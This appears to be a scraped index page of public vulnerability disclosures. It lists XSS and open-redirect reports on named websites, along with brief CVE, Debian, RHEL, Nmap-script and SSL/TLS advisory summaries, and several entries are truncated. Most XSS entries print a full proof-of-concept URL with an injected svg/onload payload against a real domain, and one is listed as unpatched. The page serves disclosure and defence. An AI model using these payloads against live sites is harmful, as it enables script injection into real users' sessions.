sonoma.org XSS vulnerability

Vulnerable URL: http://sonoma.org/?domain=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 03.03.2016 Latest check for patch:| 03.03.2016 00:22 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 22403389 Google...

albany.net XSS vulnerability

Vulnerable URL: http://www.albany.net/?domain=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 03.03.2016 Latest check for patch:| 03.03.2016 02:23 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4028109 Google...

drtuber.com XSS vulnerability

Vulnerable URL: http://www.drtuber.com/?a=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 17:34 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 945 Google Pagerank...

tiendeo.co.nz XSS vulnerability

Vulnerable URL: http://www.tiendeo.co.nz/Auckland/search/1"confirm"XSSPOSED"" Details: Description| Value ---|--- Patched:| Yes, at 27.03.2016 Latest check for patch:| 27.03.2016 01:23 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1085994 Google Pagerank| 0 VI...

teenschat.com XSS vulnerability

Vulnerable URL: http://www.teenschat.com/?notfound=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 22.02.2016 Latest check for patch:| 22.02.2016 12:56 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 9948389...

advertising-agency.com XSS vulnerability

Vulnerable URL: http://www.advertising-agency.com/?notfound=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 22.02.2016 Latest check for patch:| 22.02.2016 13:10 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

hipsroadedition.com XSS vulnerability

Vulnerable URL: http://www.hipsroadedition.com/search.php?searchfield=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:32 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...

vistaprint.no Open Redirect vulnerability

Vulnerable URL: http://www.vistaprint.no/add-coupon.aspx?redirect=https://www.xssposed.org/ Details: Description| Value ---|--- Patched:| Yes, at 15.03.2017 Latest check for patch:| 15.03.2017 17:21 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 18467...

libinfo.uark.edu XSS vulnerability

Vulnerable URL: http://libinfo.uark.edu/reference/instruction/videosurvey.asp?video=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 10:11 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

alsglobal.se XSS vulnerability

Vulnerable URL: http://www.alsglobal.se/sok?sokstr="';-- Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6475457 Google Pagerank| 4 VIP website status:| No Check alsglobal.se SSL...

CVE-2014-3637

D-Bus 1.3.0 through 1.6.x before 1.6.24 and 1.8.x before 1.8.8 does not properly close connections for processes that have terminated, which allows local users to cause a denial of service via a D-bus message containing a D-Bus connection file descriptor...

Debian DSA-2993-1 : tor - security update

Several issues have been discovered in Tor, a connection-based low-latency anonymous communication system, resulting in information leaks. - Relay-early cells could be used by colluding relays on the network to tag user circuits and so deploy traffic confirmation attacks CVE-2014-5117. The update...

How to secure SSL connections and remove DigiNotar certificates from the Trusted CAs list

...

Nmap NSE net: ms-sql-tables

Queries Microsoft SQL Server ms-sql for a list of tables per database. The sysdatabase table should be accessible by more or less everyone The script attempts to use the sa account over any other if it has the password in the registry. If not the first account in the registry is used. Once we hav...

TLS protocol vulnerable to Man In The Middle attack

A vulnerability has been discovered in all current versions of the SSL and TLS protocols, that may allow an attacker to inject data and instructions into the HTTPS connection and trick the server to believe the date and instructions came from the client.The attacker accomplishes this by first...

RHEL 2.1 : stunnel (RHSA-2003:223)

Updated stunnel packages are now available. These updates correct a potential vulnerability in stunnel's signal handling. Stunnel is a wrapper for network connections. It can be used to tunnel an unencrypted network connection over a secure connection encrypted using SSL or TLS or to provide a...

SSH host key authentication can be bypassed when DNS is used to resolve localhost

Overview This vulnerability allows an attacker to redirect an SSH connection to an arbitary host. Description When making connections to localhost, SSH disables host key checking to provide compatibility with NFS filesystems. As a result, if the victim's machine uses a poisoned DNS server to...

Проблемы с SSL-сертификатами в IE

SSL-сертификат проверяется только при первом соединении с сервером, при этом для документов полученных через IMG и FRAME не проверяется дата устаревания сертификата и имя сервера...